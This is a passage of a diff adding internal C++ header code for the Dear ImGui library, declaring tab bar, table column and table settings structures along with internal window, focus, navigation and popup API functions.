window->DC.LastItemDisplayRect; } + void Restore() const { ImGuiWindow* window = GImGui->CurrentWindow; window->DC.LastItemId = LastItemId; window->DC.LastItemStatusFlags = LastItemStatusFlags; window->DC.LastItemRect = LastItemRect; window->DC.LastItemDisplayRect = LastItemDisplayRect; } +}; + +//----------------------------------------------------------------------------- +// [SECTION] Tab bar, Tab item support +//----------------------------------------------------------------------------- + +// Extend ImGuiTabBarFlags_ +enum ImGuiTabBarFlagsPrivate_ +{ + ImGuiTabBarFlags_DockNode = 1 << 20, // Part of a dock node [we don't use this in the master branch but it facilitate branch syncing to keep this around] + ImGuiTabBarFlags_IsFocused = 1 << 21, + ImGuiTabBarFlags_SaveSettings = 1 << 22 // FIXME: Settings are handled by the docking system, this only request the tab bar to mark settings dirty when reordering tabs +}; + +// Extend ImGuiTabItemFlags_ +enum ImGuiTabItemFlagsPrivate_ +{ + ImGuiTabItemFlags_NoCloseButton = 1 << 20, // Track whether p_open was set or not (we'll need this info on the next frame to recompute ContentWidth during layout) + ImGuiTabItemFlags_Button = 1 << 21 // Used by TabItemButton, change the tab item behavior to mimic a button +}; + +// Storage for one active tab item (sizeof() 28~32 bytes) +struct ImGuiTabItem +{ + ImGuiID ID; + ImGuiTabItemFlags Flags; + int LastFrameVisible; + int LastFrameSelected; // This allows us to infer an ordered list of the last activated tabs with little maintenance + float Offset; // Position relative to beginning of tab + float Width; // Width currently displayed + float ContentWidth; // Width of label, stored during BeginTabItem() call + ImS16 NameOffset; // When Window==NULL, offset to name within parent ImGuiTabBar::TabsNames + ImS16 BeginOrder; // BeginTabItem() order, used to re-order tabs after toggling ImGuiTabBarFlags_Reorderable + ImS16 IndexDuringLayout; // Index only used during TabBarLayout() + bool WantClose; // Marked as closed by SetTabItemClosed() + + ImGuiTabItem() { memset(this, 0, sizeof(*this)); LastFrameVisible = LastFrameSelected = -1; NameOffset = BeginOrder = IndexDuringLayout = -1; } +}; + +// Storage for a tab bar (sizeof() 152 bytes) +struct ImGuiTabBar +{ + ImVector Tabs; + ImGuiTabBarFlags Flags; + ImGuiID ID; // Zero for tab-bars used by docking + ImGuiID SelectedTabId; // Selected tab/window + ImGuiID NextSelectedTabId; + ImGuiID VisibleTabId; // Can occasionally be != SelectedTabId (e.g. when previewing contents for CTRL+TAB preview) + int CurrFrameVisible; + int PrevFrameVisible; + ImRect BarRect; + float CurrTabsContentsHeight; + float PrevTabsContentsHeight; // Record the height of contents submitted below the tab bar + float WidthAllTabs; // Actual width of all tabs (locked during layout) + float WidthAllTabsIdeal; // Ideal width if all tabs were visible and not clipped + float ScrollingAnim; + float ScrollingTarget; + float ScrollingTargetDistToVisibility; + float ScrollingSpeed; + float ScrollingRectMinX; + float ScrollingRectMaxX; + ImGuiID ReorderRequestTabId; + ImS8 ReorderRequestDir; + ImS8 BeginCount; + bool WantLayout; + bool VisibleTabWasSubmitted; + bool TabsAddedNew; // Set to true when a new tab item or button has been added to the tab bar during last frame + ImS16 TabsActiveCount; // Number of tabs submitted this frame. + ImS16 LastTabItemIdx; // Index of last BeginTabItem() tab for use by EndTabItem() + float ItemSpacingY; + ImVec2 FramePadding; // style.FramePadding locked at the time of BeginTabBar() + ImVec2 BackupCursorPos; + ImGuiTextBuffer TabsNames; // For non-docking tab bar we re-append names in a contiguous buffer. + + ImGuiTabBar(); + int GetTabOrder(const ImGuiTabItem* tab) const { return Tabs.index_from_ptr(tab); } + const char* GetTabName(const ImGuiTabItem* tab) const + { + IM_ASSERT(tab->NameOffset != -1 && (int)tab->NameOffset < TabsNames.Buf.Size); + return TabsNames.Buf.Data + tab->NameOffset; + } +}; + +//----------------------------------------------------------------------------- +// [SECTION] Table support +//----------------------------------------------------------------------------- + +#ifdef IMGUI_HAS_TABLE + +#define IM_COL32_DISABLE IM_COL32(0,0,0,1) // Special sentinel code which cannot be used as a regular color. +#define IMGUI_TABLE_MAX_COLUMNS 64 // sizeof(ImU64) * 8. This is solely because we frequently encode columns set in a ImU64. +#define IMGUI_TABLE_MAX_DRAW_CHANNELS (4 + 64 * 2) // See TableSetupDrawChannels() + +// Our current column maximum is 64 but we may raise that in the future. +typedef ImS8 ImGuiTableColumnIdx; +typedef ImU8 ImGuiTableDrawChannelIdx; + +// [Internal] sizeof() ~ 104 +// We use the terminology "Enabled" to refer to a column that is not Hidden by user/api. +// We use the terminology "Clipped" to refer to a column that is out of sight because of scrolling/clipping. +// This is in contrast with some user-facing api such as IsItemVisible() / IsRectVisible() which use "Visible" to mean "not clipped". +struct ImGuiTableColumn +{ + ImRect ClipRect; // Clipping rectangle for the column + ImGuiID UserID; // Optional, value passed to TableSetupColumn() + ImGuiTableColumnFlags Flags; // Flags after some patching (not directly same as provided by user). See ImGuiTableColumnFlags_ + float MinX; // Absolute positions + float MaxX; + float InitStretchWeightOrWidth; // Value passed to TableSetupColumn(). For Width it is a content width (_without padding_). + float StretchWeight; // Master width weight when (Flags & _WidthStretch). Often around ~1.0f initially. + float WidthAuto; // Automatic width + float WidthRequest; // Master width absolute value when !(Flags & _WidthStretch). When Stretch this is derived every frame from StretchWeight in TableUpdateLayout() + float WidthGiven; // Final/actual width visible == (MaxX - MinX), locked in TableUpdateLayout(). May be > WidthRequest to honor minimum width, may be < WidthRequest to honor shrinking columns down in tight space. + float WorkMinX; // Start position for the frame, currently ~(MinX + CellPaddingX) + float WorkMaxX; + float ItemWidth; + float ContentMaxXFrozen; // Contents maximum position for frozen rows (apart from headers), from which we can infer content width. + float ContentMaxXUnfrozen; + float ContentMaxXHeadersUsed; // Contents maximum position for headers rows (regardless of freezing). TableHeader() automatically softclip itself + report ideal desired size, to avoid creating extraneous draw calls + float ContentMaxXHeadersIdeal; + ImS16 NameOffset; // Offset into parent ColumnsNames[] + ImGuiTableColumnIdx DisplayOrder; // Index within Table's IndexToDisplayOrder[] (column may be reordered by users) + ImGuiTableColumnIdx IndexWithinEnabledSet; // Index within enabled/visible set (<= IndexToDisplayOrder) + ImGuiTableColumnIdx PrevEnabledColumn; // Index of prev enabled/visible column within Columns[], -1 if first enabled/visible column + ImGuiTableColumnIdx NextEnabledColumn; // Index of next enabled/visible column within Columns[], -1 if last enabled/visible column + ImGuiTableColumnIdx SortOrder; // Index of this column within sort specs, -1 if not sorting on this column, 0 for single-sort, may be >0 on multi-sort + ImGuiTableDrawChannelIdx DrawChannelCurrent; // Index within DrawSplitter.Channels[] + ImGuiTableDrawChannelIdx DrawChannelFrozen; + ImGuiTableDrawChannelIdx DrawChannelUnfrozen; + bool IsEnabled; // Is the column not marked Hidden by the user? (even if off view, e.g. clipped by scrolling). + bool IsEnabledNextFrame; + bool IsVisibleX; // Is actually in view (e.g. overlapping the host window clipping rectangle, not scrolled). + bool IsVisibleY; + bool IsRequestOutput; // Return value for TableSetColumnIndex() / TableNextColumn(): whether we request user to output contents or not. + bool IsSkipItems; // Do we want item submissions to this column to be completely ignored (no layout will happen). + bool IsPreserveWidthAuto; + ImS8 NavLayerCurrent; // ImGuiNavLayer in 1 byte + ImU8 AutoFitQueue; // Queue of 8 values for the next 8 frames to request auto-fit + ImU8 CannotSkipItemsQueue; // Queue of 8 values for the next 8 frames to disable Clipped/SkipItem + ImU8 SortDirection : 2; // ImGuiSortDirection_Ascending or ImGuiSortDirection_Descending + ImU8 SortDirectionsAvailCount : 2; // Number of available sort directions (0 to 3) + ImU8 SortDirectionsAvailMask : 4; // Mask of available sort directions (1-bit each) + ImU8 SortDirectionsAvailList; // Ordered of available sort directions (2-bits each) + + ImGuiTableColumn() + { + memset(this, 0, sizeof(*this)); + StretchWeight = WidthRequest = -1.0f; + NameOffset = -1; + DisplayOrder = IndexWithinEnabledSet = -1; + PrevEnabledColumn = NextEnabledColumn = -1; + SortOrder = -1; + SortDirection = ImGuiSortDirection_None; + DrawChannelCurrent = DrawChannelFrozen = DrawChannelUnfrozen = (ImU8)-1; + } +}; + +// Transient cell data stored per row. +// sizeof() ~ 6 +struct ImGuiTableCellData +{ + ImU32 BgColor; // Actual color + ImGuiTableColumnIdx Column; // Column number +}; + +// FIXME-TABLE: transient data could be stored in a per-stacked table structure: DrawSplitter, SortSpecs, incoming RowData +struct ImGuiTable +{ + ImGuiID ID; + ImGuiTableFlags Flags; + void* RawData; // Single allocation to hold Columns[], DisplayOrderToIndex[] and RowCellData[] + ImSpan Columns; // Point within RawData[] + ImSpan DisplayOrderToIndex; // Point within RawData[]. Store display order of columns (when not reordered, the values are 0...Count-1) + ImSpan RowCellData; // Point within RawData[]. Store cells background requests for current row. + ImU64 EnabledMaskByDisplayOrder; // Column DisplayOrder -> IsEnabled map + ImU64 EnabledMaskByIndex; // Column Index -> IsEnabled map (== not hidden by user/api) in a format adequate for iterating column without touching cold data + ImU64 VisibleMaskByIndex; // Column Index -> IsVisibleX|IsVisibleY map (== not hidden by user/api && not hidden by scrolling/cliprect) + ImU64 RequestOutputMaskByIndex; // Column Index -> IsVisible || AutoFit (== expect user to submit items) + ImGuiTableFlags SettingsLoadedFlags; // Which data were loaded from the .ini file (e.g. when order is not altered we won't save order) + int SettingsOffset; // Offset in g.SettingsTables + int LastFrameActive; + int ColumnsCount; // Number of columns declared in BeginTable() + int CurrentRow; + int CurrentColumn; + ImS16 InstanceCurrent; // Count of BeginTable() calls with same ID in the same frame (generally 0). This is a little bit similar to BeginCount for a window, but multiple table with same ID look are multiple tables, they are just synched. + ImS16 InstanceInteracted; // Mark which instance (generally 0) of the same ID is being interacted with + float RowPosY1; + float RowPosY2; + float RowMinHeight; // Height submitted to TableNextRow() + float RowTextBaseline; + float RowIndentOffsetX; + ImGuiTableRowFlags RowFlags : 16; // Current row flags, see ImGuiTableRowFlags_ + ImGuiTableRowFlags LastRowFlags : 16; + int RowBgColorCounter; // Counter for alternating background colors (can be fast-forwarded by e.g clipper), not same as CurrentRow because header rows typically don't increase this. + ImU32 RowBgColor[2]; // Background color override for current row. + ImU32 BorderColorStrong; + ImU32 BorderColorLight; + float BorderX1; + float BorderX2; + float HostIndentX; + float MinColumnWidth; + float OuterPaddingX; + float CellPaddingX; // Padding from each borders + float CellPaddingY; + float CellSpacingX1; // Spacing between non-bordered cells + float CellSpacingX2; + float LastOuterHeight; // Outer height from last frame + float LastFirstRowHeight; // Height of first row from last frame + float InnerWidth; // User value passed to BeginTable(), see comments at the top of BeginTable() for details. + float ColumnsGivenWidth; // Sum of current column width + float ColumnsAutoFitWidth; // Sum of ideal column width in order nothing to be clipped, used for auto-fitting and content width submission in outer window + float ResizedColumnNextWidth; + float ResizeLockMinContentsX2; // Lock minimum contents width while resizing down in order to not create feedback loops. But we allow growing the table. + float RefScale; // Reference scale to be able to rescale columns on font/dpi changes. + ImRect OuterRect; // Note: for non-scrolling table, OuterRect.Max.y is often FLT_MAX until EndTable(), unless a height has been specified in BeginTable(). + ImRect InnerRect; // InnerRect but without decoration. As with OuterRect, for non-scrolling tables, InnerRect.Max.y is + ImRect WorkRect; + ImRect InnerClipRect; + ImRect BgClipRect; // We use this to cpu-clip cell background color fill + ImRect Bg0ClipRectForDrawCmd; // Actual ImDrawCmd clip rect for BG0/1 channel. This tends to be == OuterWindow->ClipRect at BeginTable() because output in BG0/BG1 is cpu-clipped + ImRect Bg2ClipRectForDrawCmd; // Actual ImDrawCmd clip rect for BG2 channel. This tends to be a correct, tight-fit, because output to BG2 are done by widgets relying on regular ClipRect. + ImRect HostClipRect; // This is used to check if we can eventually merge our columns draw calls into the current draw call of the current window. + ImRect HostBackupWorkRect; // Backup of InnerWindow->WorkRect at the end of BeginTable() + ImRect HostBackupParentWorkRect; // Backup of InnerWindow->ParentWorkRect at the end of BeginTable() + ImRect HostBackupInnerClipRect; // Backup of InnerWindow->ClipRect during PushTableBackground()/PopTableBackground() + ImVec2 HostBackupPrevLineSize; // Backup of InnerWindow->DC.PrevLineSize at the end of BeginTable() + ImVec2 HostBackupCurrLineSize; // Backup of InnerWindow->DC.CurrLineSize at the end of BeginTable() + ImVec2 HostBackupCursorMaxPos; // Backup of InnerWindow->DC.CursorMaxPos at the end of BeginTable() + ImVec1 HostBackupColumnsOffset; // Backup of OuterWindow->DC.ColumnsOffset at the end of BeginTable() + float HostBackupItemWidth; // Backup of OuterWindow->DC.ItemWidth at the end of BeginTable() + int HostBackupItemWidthStackSize;// Backup of OuterWindow->DC.ItemWidthStack.Size at the end of BeginTable() + ImGuiWindow* OuterWindow; // Parent window for the table + ImGuiWindow* InnerWindow; // Window holding the table data (== OuterWindow or a child window) + ImGuiTextBuffer ColumnsNames; // Contiguous buffer holding columns names + ImDrawListSplitter DrawSplitter; // We carry our own ImDrawList splitter to allow recursion (FIXME: could be stored outside, worst case we need 1 splitter per recursing table) + ImGuiTableColumnSortSpecs SortSpecsSingle; + ImVector SortSpecsMulti; // FIXME-OPT: Using a small-vector pattern would work be good. + ImGuiTableSortSpecs SortSpecs; // Public facing sorts specs, this is what we return in TableGetSortSpecs() + ImGuiTableColumnIdx SortSpecsCount; + ImGuiTableColumnIdx ColumnsEnabledCount; // Number of enabled columns (<= ColumnsCount) + ImGuiTableColumnIdx ColumnsEnabledFixedCount; // Number of enabled columns (<= ColumnsCount) + ImGuiTableColumnIdx DeclColumnsCount; // Count calls to TableSetupColumn() + ImGuiTableColumnIdx HoveredColumnBody; // Index of column whose visible region is being hovered. Important: == ColumnsCount when hovering empty region after the right-most column! + ImGuiTableColumnIdx HoveredColumnBorder; // Index of column whose right-border is being hovered (for resizing). + ImGuiTableColumnIdx AutoFitSingleStretchColumn; // Index of single stretch column requesting auto-fit. + ImGuiTableColumnIdx ResizedColumn; // Index of column being resized. Reset when InstanceCurrent==0. + ImGuiTableColumnIdx LastResizedColumn; // Index of column being resized from previous frame. + ImGuiTableColumnIdx HeldHeaderColumn; // Index of column header being held. + ImGuiTableColumnIdx ReorderColumn; // Index of column being reordered. (not cleared) + ImGuiTableColumnIdx ReorderColumnDir; // -1 or +1 + ImGuiTableColumnIdx LeftMostStretchedColumn; // Index of left-most stretched column. + ImGuiTableColumnIdx RightMostStretchedColumn; // Index of right-most stretched column. + ImGuiTableColumnIdx RightMostEnabledColumn; // Index of right-most non-hidden column. + ImGuiTableColumnIdx ContextPopupColumn; // Column right-clicked on, of -1 if opening context menu from a neutral/empty spot + ImGuiTableColumnIdx FreezeRowsRequest; // Requested frozen rows count + ImGuiTableColumnIdx FreezeRowsCount; // Actual frozen row count (== FreezeRowsRequest, or == 0 when no scrolling offset) + ImGuiTableColumnIdx FreezeColumnsRequest; // Requested frozen columns count + ImGuiTableColumnIdx FreezeColumnsCount; // Actual frozen columns count (== FreezeColumnsRequest, or == 0 when no scrolling offset) + ImGuiTableColumnIdx RowCellDataCurrent; // Index of current RowCellData[] entry in current row + ImGuiTableDrawChannelIdx DummyDrawChannel; // Redirect non-visible columns here. + ImGuiTableDrawChannelIdx Bg2DrawChannelCurrent; // For Selectable() and other widgets drawing accross columns after the freezing line. Index within DrawSplitter.Channels[] + ImGuiTableDrawChannelIdx Bg2DrawChannelUnfrozen; + bool IsLayoutLocked; // Set by TableUpdateLayout() which is called when beginning the first row. + bool IsInsideRow; // Set when inside TableBeginRow()/TableEndRow(). + bool IsInitializing; + bool IsSortSpecsDirty; + bool IsUsingHeaders; // Set when the first row had the ImGuiTableRowFlags_Headers flag. + bool IsContextPopupOpen; // Set when default context menu is open (also see: ContextPopupColumn, InstanceInteracted). + bool IsSettingsRequestLoad; + bool IsSettingsDirty; // Set when table settings have changed and needs to be reported into ImGuiTableSetttings data. + bool IsDefaultDisplayOrder; // Set when display order is unchanged from default (DisplayOrder contains 0...Count-1) + bool IsResetAllRequest; + bool IsResetDisplayOrderRequest; + bool IsUnfrozen; // Set when we got past the frozen row. + bool IsOuterRectAutoFitX; // Set when outer_size.x == 0.0f in BeginTable(), scrolling is disabled, and there are stretch columns. + bool MemoryCompacted; + bool HostSkipItems; // Backup of InnerWindow->SkipItem at the end of BeginTable(), because we will overwrite InnerWindow->SkipItem on a per-column basis + + IMGUI_API ImGuiTable() { memset(this, 0, sizeof(*this)); LastFrameActive = -1; } + IMGUI_API ~ImGuiTable() { IM_FREE(RawData); } +}; + +// sizeof() ~ 12 +struct ImGuiTableColumnSettings +{ + float WidthOrWeight; + ImGuiID UserID; + ImGuiTableColumnIdx Index; + ImGuiTableColumnIdx DisplayOrder; + ImGuiTableColumnIdx SortOrder; + ImU8 SortDirection : 2; + ImU8 IsEnabled : 1; // "Visible" in ini file + ImU8 IsStretch : 1; + + ImGuiTableColumnSettings() + { + WidthOrWeight = 0.0f; + UserID = 0; + Index = -1; + DisplayOrder = SortOrder = -1; + SortDirection = ImGuiSortDirection_None; + IsEnabled = 1; + IsStretch = 0; + } +}; + +// This is designed to be stored in a single ImChunkStream (1 header followed by N ImGuiTableColumnSettings, etc.) +struct ImGuiTableSettings +{ + ImGuiID ID; // Set to 0 to invalidate/delete the setting + ImGuiTableFlags SaveFlags; // Indicate data we want to save using the Resizable/Reorderable/Sortable/Hideable flags (could be using its own flags..) + float RefScale; // Reference scale to be able to rescale columns on font/dpi changes. + ImGuiTableColumnIdx ColumnsCount; + ImGuiTableColumnIdx ColumnsCountMax; // Maximum number of columns this settings instance can store, we can recycle a settings instance with lower number of columns but not higher + bool WantApply; // Set when loaded from .ini data (to enable merging/loading .ini data into an already running context) + + ImGuiTableSettings() { memset(this, 0, sizeof(*this)); } + ImGuiTableColumnSettings* GetColumnSettings() { return (ImGuiTableColumnSettings*)(this + 1); } +}; + +#endif // #ifdef IMGUI_HAS_TABLE + +//----------------------------------------------------------------------------- +// [SECTION] Internal API +// No guarantee of forward compatibility here! +//----------------------------------------------------------------------------- + +namespace ImGui +{ + // Windows + // We should always have a CurrentWindow in the stack (there is an implicit "Debug" window) + // If this ever crash because g.CurrentWindow is NULL it means that either + // - ImGui::NewFrame() has never been called, which is illegal. + // - You are calling ImGui functions after ImGui::EndFrame()/ImGui::Render() and before the next ImGui::NewFrame(), which is also illegal. + inline ImGuiWindow* GetCurrentWindowRead() { ImGuiContext& g = *GImGui; return g.CurrentWindow; } + inline ImGuiWindow* GetCurrentWindow() { ImGuiContext& g = *GImGui; g.CurrentWindow->WriteAccessed = true; return g.CurrentWindow; } + IMGUI_API ImGuiWindow* FindWindowByID(ImGuiID id); + IMGUI_API ImGuiWindow* FindWindowByName(const char* name); + IMGUI_API void UpdateWindowParentAndRootLinks(ImGuiWindow* window, ImGuiWindowFlags flags, ImGuiWindow* parent_window); + IMGUI_API ImVec2 CalcWindowExpectedSize(ImGuiWindow* window); + IMGUI_API bool IsWindowChildOf(ImGuiWindow* window, ImGuiWindow* potential_parent); + IMGUI_API bool IsWindowAbove(ImGuiWindow* potential_above, ImGuiWindow* potential_below); + IMGUI_API bool IsWindowNavFocusable(ImGuiWindow* window); + IMGUI_API ImRect GetWindowAllowedExtentRect(ImGuiWindow* window); + IMGUI_API void SetWindowPos(ImGuiWindow* window, const ImVec2& pos, ImGuiCond cond = 0); + IMGUI_API void SetWindowSize(ImGuiWindow* window, const ImVec2& size, ImGuiCond cond = 0); + IMGUI_API void SetWindowCollapsed(ImGuiWindow* window, bool collapsed, ImGuiCond cond = 0); + IMGUI_API void SetWindowHitTestHole(ImGuiWindow* window, const ImVec2& pos, const ImVec2& size); + + // Windows: Display Order and Focus Order + IMGUI_API void FocusWindow(ImGuiWindow* window); + IMGUI_API void FocusTopMostWindowUnderOne(ImGuiWindow* under_this_window, ImGuiWindow* ignore_window); + IMGUI_API void BringWindowToFocusFront(ImGuiWindow* window); + IMGUI_API void BringWindowToDisplayFront(ImGuiWindow* window); + IMGUI_API void BringWindowToDisplayBack(ImGuiWindow* window); + + // Fonts, drawing + IMGUI_API void SetCurrentFont(ImFont* font); + inline ImFont* GetDefaultFont() { ImGuiContext& g = *GImGui; return g.IO.FontDefault ? g.IO.FontDefault : g.IO.Fonts->Fonts[0]; } + inline ImDrawList* GetForegroundDrawList(ImGuiWindow* window) { IM_UNUSED(window); ImGuiContext& g = *GImGui; return &g.ForegroundDrawList; } // This seemingly unnecessary wrapper simplifies compatibility between the 'master' and 'docking' branches. + + // Init + IMGUI_API void Initialize(ImGuiContext* context); + IMGUI_API void Shutdown(ImGuiContext* context); // Since 1.60 this is a _private_ function. You can call DestroyContext() to destroy the context created by CreateContext(). + + // NewFrame + IMGUI_API void UpdateHoveredWindowAndCaptureFlags(); + IMGUI_API void StartMouseMovingWindow(ImGuiWindow* window); + IMGUI_API void UpdateMouseMovingWindowNewFrame(); + IMGUI_API void UpdateMouseMovingWindowEndFrame(); + + // Generic context hooks + IMGUI_API void AddContextHook(ImGuiContext* context, const ImGuiContextHook* hook); + IMGUI_API void CallContextHooks(ImGuiContext* context, ImGuiContextHookType type); + + // Settings + IMGUI_API void MarkIniSettingsDirty(); + IMGUI_API void MarkIniSettingsDirty(ImGuiWindow* window); + IMGUI_API void ClearIniSettings(); + IMGUI_API ImGuiWindowSettings* CreateNewWindowSettings(const char* name); + IMGUI_API ImGuiWindowSettings* FindWindowSettings(ImGuiID id); + IMGUI_API ImGuiWindowSettings* FindOrCreateWindowSettings(const char* name); + IMGUI_API ImGuiSettingsHandler* FindSettingsHandler(const char* type_name); + + // Scrolling + IMGUI_API void SetNextWindowScroll(const ImVec2& scroll); // Use -1.0f on one axis to leave as-is + IMGUI_API void SetScrollX(ImGuiWindow* window, float scroll_x); + IMGUI_API void SetScrollY(ImGuiWindow* window, float scroll_y); + IMGUI_API void SetScrollFromPosX(ImGuiWindow* window, float local_x, float center_x_ratio); + IMGUI_API void SetScrollFromPosY(ImGuiWindow* window, float local_y, float center_y_ratio); + IMGUI_API ImVec2 ScrollToBringRectIntoView(ImGuiWindow* window, const ImRect& item_rect); + + // Basic Accessors + inline ImGuiID GetItemID() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.LastItemId; } // Get ID of last item (~~ often same ImGui::GetID(label) beforehand) + inline ImGuiItemStatusFlags GetItemStatusFlags() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.LastItemStatusFlags; } + inline ImGuiID GetActiveID() { ImGuiContext& g = *GImGui; return g.ActiveId; } + inline ImGuiID GetFocusID() { ImGuiContext& g = *GImGui; return g.NavId; } + inline ImGuiItemFlags GetItemsFlags() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.ItemFlags; } + IMGUI_API void SetActiveID(ImGuiID id, ImGuiWindow* window); + IMGUI_API void SetFocusID(ImGuiID id, ImGuiWindow* window); + IMGUI_API void ClearActiveID(); + IMGUI_API ImGuiID GetHoveredID(); + IMGUI_API void SetHoveredID(ImGuiID id); + IMGUI_API void KeepAliveID(ImGuiID id); + IMGUI_API void MarkItemEdited(ImGuiID id); // Mark data associated to given item as "edited", used by IsItemDeactivatedAfterEdit() function. + IMGUI_API void PushOverrideID(ImGuiID id); // Push given value as-is at the top of the ID stack (whereas PushID combines old and new hashes) + IMGUI_API ImGuiID GetIDWithSeed(const char* str_id_begin, const char* str_id_end, ImGuiID seed); + + // Basic Helpers for widget code + IMGUI_API void ItemSize(const ImVec2& size, float text_baseline_y = -1.0f); + IMGUI_API void ItemSize(const ImRect& bb, float text_baseline_y = -1.0f); + IMGUI_API bool ItemAdd(const ImRect& bb, ImGuiID id, const ImRect* nav_bb = NULL); + IMGUI_API bool ItemHoverable(const ImRect& bb, ImGuiID id); + IMGUI_API bool IsClippedEx(const ImRect& bb, ImGuiID id, bool clip_even_when_logged); + IMGUI_API void SetLastItemData(ImGuiWindow* window, ImGuiID item_id, ImGuiItemStatusFlags status_flags, const ImRect& item_rect); + IMGUI_API bool FocusableItemRegister(ImGuiWindow* window, ImGuiID id); // Return true if focus is requested + IMGUI_API void FocusableItemUnregister(ImGuiWindow* window); + IMGUI_API ImVec2 CalcItemSize(ImVec2 size, float default_w, float default_h); + IMGUI_API float CalcWrapWidthForPos(const ImVec2& pos, float wrap_pos_x); + IMGUI_API void PushMultiItemsWidths(int components, float width_full); + IMGUI_API void PushItemFlag(ImGuiItemFlags option, bool enabled); + IMGUI_API void PopItemFlag(); + IMGUI_API bool IsItemToggledSelection(); // Was the last item selection toggled? (after Selectable(), TreeNode() etc. We only returns toggle _event_ in order to handle clipping correctly) + IMGUI_API ImVec2 GetContentRegionMaxAbs(); + IMGUI_API void ShrinkWidths(ImGuiShrinkWidthItem* items, int count, float width_excess); + + // Logging/Capture + IMGUI_API void LogBegin(ImGuiLogType type, int auto_open_depth); // -> BeginCapture() when we design v2 api, for now stay under the radar by using the old name. + IMGUI_API void LogToBuffer(int auto_open_depth = -1); // Start logging/capturing to internal buffer + + // Popups, Modals, Tooltips + IMGUI_API bool BeginChildEx(const char* name, ImGuiID id, const ImVec2& size_arg, bool border, ImGuiWindowFlags flags); + IMGUI_API void OpenPopupEx(ImGuiID id, ImGuiPopupFlags popup_flags = ImGuiPopupFlags_None); + IMGUI_API void ClosePopupToLevel(int remaining, bool restore_focus_to_window_under_popup); + IMGUI_API void ClosePopupsOverWindow(ImGuiWindow* ref_window, bool restore_focus_to_window_under_popup); + IMGUI_API bool IsPopupOpen(ImGuiID id, ImGuiPopupFlags popup_flags); + IMGUI_API bool BeginPopupEx(ImGuiID id, ImGuiWindowFlags extra_flags); + IMGUI_API void BeginTooltipEx(ImGuiWindowFlags extra_flags, ImGuiTooltipFlags tooltip_flags); + IMGUI_API ImGuiWindow* GetTopMostPopupModal(); + IMGUI_API ImVec2 FindBestWindowPosForPopup(ImGuiWindow* window); + IMGUI_API ImVec2 FindBestWindowPosForPopupEx(const ImVec2& ref_pos, const ImVec2& size, ImGuiDir* last_dir, const ImRect& r_outer, const ImRect& r_avoid, ImGuiPopupPositionPolicy policy); + + // Gamepad/Keyboard Navigation + IMGUI_API void NavInitWindow(ImGuiWindow* window, bool force_reinit); + IMGUI_API bool NavMoveRequestButNoResultYet(); + IMGUI_API void NavMoveRequestCancel(); + IMGUI_API void NavMoveRequestForward(ImGuiDir move_dir, ImGuiDir clip_dir, const ImRect& bb_rel, ImGuiNavMoveFlags move_flags); + IMGUI_API void NavMoveRequestTryWrapping(ImGuiWindow* window, ImGuiNavMoveFlags move_flags); + IMGUI_API float GetNavInputAmount(ImGuiNavInput n, ImGuiInputReadMode mode); + IMGUI_API ImVec2 GetNavInputAmount2d(ImGuiNavDirSourceFlags dir_sources, ImGuiInputReadMode mode, float slow_factor = 0.0f, float fast_factor = 0.0f); + IMGUI_API int CalcTypematicRepeatAmount(float t0, float t1, float repeat_delay, float repeat_rate); + IMGUI_API void ActivateItem(ImGuiID id); // Remotely activate a button, checkbox, tree node etc. given its unique ID. activation is queued and processed on the next frame when the item is encountered again. + IMGUI_API void SetNavID(ImGuiID id, int nav_layer, ImGuiID focus_scope_id); + IMGUI_API void SetNavIDWithRectRel(ImGuiID id, int nav_layer, ImGuiID focus_scope_id, const ImRect& rect_rel); + + // Focus Scope (WIP) + // This is generally used to identify a selection set (multiple of which may be in the same window), as selection + // patterns generally need to react (e.g. clear selection) when landing on an item of the set. + IMGUI_API void PushFocusScope(ImGuiID id); + IMGUI_API void PopFocusScope(); + inline ImGuiID GetFocusedFocusScope() { ImGuiContext& g = *GImGui; return g.NavFocusScopeId; } // Focus scope which is actually active + inline ImGuiID GetFocusScope() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.NavFocusScopeIdCurrent; } // Focus scope we are outputting into, set by PushFocusScope() + + // Inputs + // FIXME: Eventually we should aim to move e.g. IsActiveIdUsingKey() into IsKeyXXX functions. + IMGUI_API void SetItemUsingMouseWheel(); + inline bool IsActiveIdUsingNavDir(ImGuiDir dir) { ImGuiContext& g = *GImGui; return (g.ActiveIdUsingNavDirMask & (1 << dir)) != 0; } + inline bool IsActiveIdUsingNavInput(ImGuiNavInput input) { ImGuiContext& g = *GImGui; return (g.ActiveIdUsingNavInputMask & (1 << input)) != 0; } + inline bool IsActiveIdUsingKey(ImGuiKey key) { ImGuiContext& g = *GImGui; IM_ASSERT(key < 64); return (g.ActiveIdUsingKeyInputMask & ((ImU64)1 << key)) != 0; } + IMGUI_API bool IsMouseDragPastThreshold(ImGuiMouseButton button, float lock_threshold = -1.0f); + inline bool IsKeyPressedMap(ImGuiKey key, bool repeat = true) { ImGuiContext& g = *GImGui; const int key_index = g.IO.KeyMap[key]; return (key_index >= 0) ? IsKeyPressed(key_index, repeat) : false; } + inline bool IsNavInputDown(ImGuiNavInput n) { ImGuiContext& g = *GImGui; return g.IO.NavInputs[n] > 0.0f; } + inline bool IsNavInputTest(ImGuiNavInput n, ImGuiInputReadMode rm) { return (GetNavInputAmount(n, rm) > 0.0f); } + IMGUI_API ImGuiKeyModFlags GetMergedKeyModFlags(); + + // Drag and Drop + IMGUI_API bool BeginDragDropTargetCustom(const ImRect& bb, ImGuiID id); + IMGUI_API void ClearDragDrop(); + IMGUI_API bool IsDragDropPayloadBeingAccepted(); + + // Internal Columns API (this is not exposed because we will encourage transitioning to the Tables API) + IMGUI_API void SetWindowClipRectBeforeSetChannel(ImGuiWindow* window, const ImRect& clip_rect); + IMGUI_API void BeginColumns(const char* str_id, int count, ImGuiOldColumnFlags flags = 0); // setup number of columns. use an identifier to distinguish multiple column sets. close with EndColumns(). + IMGUI_API void EndColumns(); // close columns + IMGUI_API void PushColumnClipRect(int column_index); + IMGUI_API void PushColumnsBackground(); + IMGUI_API void PopColumnsBackground(); + IMGUI_API ImGuiID GetColumnsID(const char* str_id, int count); + IMGUI_API ImGuiOldColumns* FindOrCreateColumns(ImGuiWindow* window, ImGuiID id); + IMGUI_API float GetColumnOffsetFromNorm(const ImGuiOldColumns* columns, float offset_norm); + IMGUI_API float GetColumnNormFromOffset(const ImGuiOldColumns* columns, float offset); + + // Tables: Candidates for public API + IMGUI_API void TableOpenContextMenu(int column_n = -1); + IMGUI_API 